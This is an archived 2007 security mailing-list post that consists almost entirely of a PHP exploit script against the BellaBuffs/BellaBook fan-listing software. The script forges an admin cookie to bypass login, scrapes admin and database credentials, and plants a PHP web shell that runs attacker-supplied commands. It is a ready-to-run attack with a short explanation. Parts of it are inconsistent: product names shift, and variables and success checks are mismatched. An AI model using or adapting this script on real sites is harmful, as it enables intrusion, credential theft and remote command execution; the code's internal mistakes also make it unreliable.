Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security Vuln-Dev
[Top] [All Lists]

BellaBook Admin Bypass/Remote Code Execution

Subject: BellaBook Admin Bypass/Remote Code Execution
Date: 31 Jul 2007 10:44:20 -0000
<?php

/*

#AUTHOR: ilker kandemir

#DOWNLOAD: http://www.jemjabella.co.uk/scripts/BellaBuffs.zip

Explanation:

The user verification routine used in most of the files is:

########################################################
#require_once('prefs.php');
#if (isset($_COOKIE['bellabuffs'])) {
#    if ($_COOKIE['bellabuffs'] == md5($admin_name.$admin_pass.$secret)) {
#        if (isset($_GET['ap'])) { $page = $_GET['ap']; } else { $page = ""; }
#        include('header.php');
#
########################################################

So basically it's saying "If the value within the cookie pheap_login is not the 
same value
that is assigned to the $admin_name variable withing prefs.php then you have to 
be redirected
to the login page".

So if we know the $admin_name we can access any page that uses this 
authentication method. Also,
we can retrieve all credentials in clear-text.

*/

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

if ($argc<5) {
print 
"-------------------------------------------------------------------------\r\n";
print "              BellaBook Admin Bypass/Remote Code Execution\r\n";
print 
"-------------------------------------------------------------------------\r\n";
print "Usage: pheap.php [OPTION] [HOST] [PATH] [USER] ([COMMAND])\r\n\r\n";
print "[OPTION]  = 0 = Credentials Disclosures\r\n";
print "            1 = Remote Code Execution\r\n";
print "[HOST]       = Target server's hostname or ip address\r\n";
print "[PATH]       = Path where Pheap is located\r\n";
print "[USER]       = Admin's username\r\n";
print "[COMMAND] = Command to execute\r\n\r\n";
print "e.g.             pheap.php 0 victim.com /pheap/ admin\r\n";
print "                  pheap.php 1 victim.com /pheap/ admin \"ls -lia\"\r\n";
print 
"-------------------------------------------------------------------------\r\n";
die;
}

// Props to [rgod] for the following functions

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
    $c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
    }
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or 
(!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
}

function make_seed()
{
   list($usec, $sec) = explode(' ', microtime());
   return (float) $sec + ((float) $usec * 100000);
}

$exploit = $argv[1];
$host = $argv[2];
$path = $argv[3];
$user = $argv[4];
$cmd  = $argv[5];
$cmd  = urlencode($cmd);
$port=80;$proxy="";

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the 
path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

if ($exploit==0){

print 
"-------------------------------------------------------------------------\r\n";
print "              BellaBuffs Admin Bypass/Remote Code Execution      \r\n";
print 
"-------------------------------------------------------------------------\r\n";

    $packet ="GET " . $path . "captcha.php HTTP/1.1\r\n";
    $packet.="Content-Type: application/x-www-form-urlencoded\r\n";
    $packet.="Host: ".$host."\r\n";
    $packet.="Content-Length: ".strlen($data)."\r\n";
    $packet.="Cookie: pheap_login=" . $user . "\r\n";
    $packet.="Connection: Close\r\n\r\n";

    sendpacketii($packet);

    if (strstr($html,"This is the settings panel")){}
    else{echo "...Failed!\r\n"; exit();}

    $temp=explode("name=\"user_name\" class=\"ieleft\" value=\"",$html);
    $temp2=explode("\" /> <strong>:Username",$temp[1]);
    $ret_user=$temp2[0];

    echo "[+] Admin User: " . $admin_name . "\r\n";

    $temp=explode("name=\"password\" class=\"ieleft\" value=\"",$html);
    $temp2=explode("\" /> <strong>:Password",$temp[1]);
    $ret_user=$temp2[0];

    echo "[+] Admin Pass: " . $admin_pass . "\r\n";

    $temp=explode("name=\"dbhost\" class=\"ieleft\" id=\"dbhost\" 
value=\"",$html);
    $temp2=explode("\" /> <strong>:Database Host",$temp[1]);
    $ret_user=$temp2[0];

    echo "[+] Database Host: " . $admin_name . "\r\n";

    $temp=explode("name=\"dbuser\" class=\"ieleft\" id=\"dbuser\" 
value=\"",$html);
    $temp2=explode("\" /> <strong>:Database Username",$temp[1]);
    $ret_user=$temp2[0];

    echo "[+] Database User: " . $admin_pass . "\r\n";

    $temp=explode("name=\"dbpass\" class=\"ieleft\" id=\"dbpass\" 
value=\"",$html);
    $temp2=explode("\" /> <strong>:Database Password",$temp[1]);
    $ret_user=$temp2[0];

    echo "[+] Database Pass: " . $ret_user . "\r\n";

print 
"-------------------------------------------------------------------------\r\n";
print "                     MEFISTO BEGiNS                                 
\r\n";
print 
"-------------------------------------------------------------------------\r\n";
}

if($exploit==1){

    $packet ="GET " . $path . "admin.php?ap=manage_members&amp=" . $path . 
"index.php HTTP/1.1\r\n";
    $packet.="Content-Type: application/x-www-form-urlencoded\r\n";
    $packet.="Host: ".$host."\r\n";
    $packet.="Content-Length: ".strlen($data)."\r\n";
    $packet.="Cookie: pheap_login=" . $user . "\r\n";
    $packet.="Connection: Close\r\n\r\n";

    sendpacketii($packet);

    $temp=explode("name=\"filename\" value=\"",$html);
    $temp2=explode("\">",$temp[1]);
    $fullpath=$temp2[0];

    $shell = '<?php echo "<font color=#FFFFFF>For 
Turkey</font>";ini_set("max_execution_time",0);passthru($_GET[cmd]);echo "<font 
color=#FFFFFF>Milw0rm.Com</font>";?>';
    $data = "mce_editor_0_styleSelect=";
    $data .= "&mce_editor_0_formatSelect=";
    $data .= "&mce_editor_0_fontNameSelect=";
    $data .= "&mce_editor_0_fontSizeSelect=0";
    $data .= "&mce_editor_0_zoomSelect=100%25";
    $data .= "&content=" . urlencode($shell);
    $data .= "&filename=" . urlencode($fullpath);
    $data .= "&update_text.x=57";
    $data .= "&update_text.y=15";

    $packet ="POST " . $path . "admin.php?ap=manage_members HTTP/1.1\r\n";
    $packet.="Content-Type: application/x-www-form-urlencoded\r\n";
    $packet.="Accept: */*\r\n";
    $packet.="Host: ".$host."\r\n";
    $packet.="Content-Length: ".strlen($data)."\r\n";
    $packet.="Cookie: pheap_login=" . $user . "\r\n";
    $packet.="Referer: http://"; . $host.$path . 
"admin.php?ap=manage_members&amp=" . $path . "index.php\r\n";
    $packet.="Connection: Close\r\n\r\n";
    $packet.=$data;
    sendpacketii($packet);

    $packet ="GET " . $path . "index.php?cmd=" . $cmd . " HTTP/1.1\r\n";
    $packet.="Host: ".$host."\r\n";
    $packet.="Connection: Close\r\n\r\n";
    sendpacketii($packet);

    if (strstr($html,"...Silentz"))
     {
    print 
"-------------------------------------------------------------------------\r\n";
    print "              BellaBuffs Admin Bypass/Remote Code Execution     
\r\n";
    print 
"-------------------------------------------------------------------------\r\n";

       $temp=explode("...Silentz</font>",$html);
       $temp2=explode("<font color=#FFFFFF>",$temp[1]);
       echo 
"===============================================================\r\n\r\n";
       echo $temp2[0];
       echo 
"\r\n===============================================================\r\n";
       echo "\r\n[+] Shell...http://"; .$host.$path. 
"index.php?cmd=[COMMAND]\r\n"

     }
}
?>

<Prev in Thread] Current Thread [Next in Thread>
  • BellaBook Admin Bypass/Remote Code Execution, ilkerkandemir <=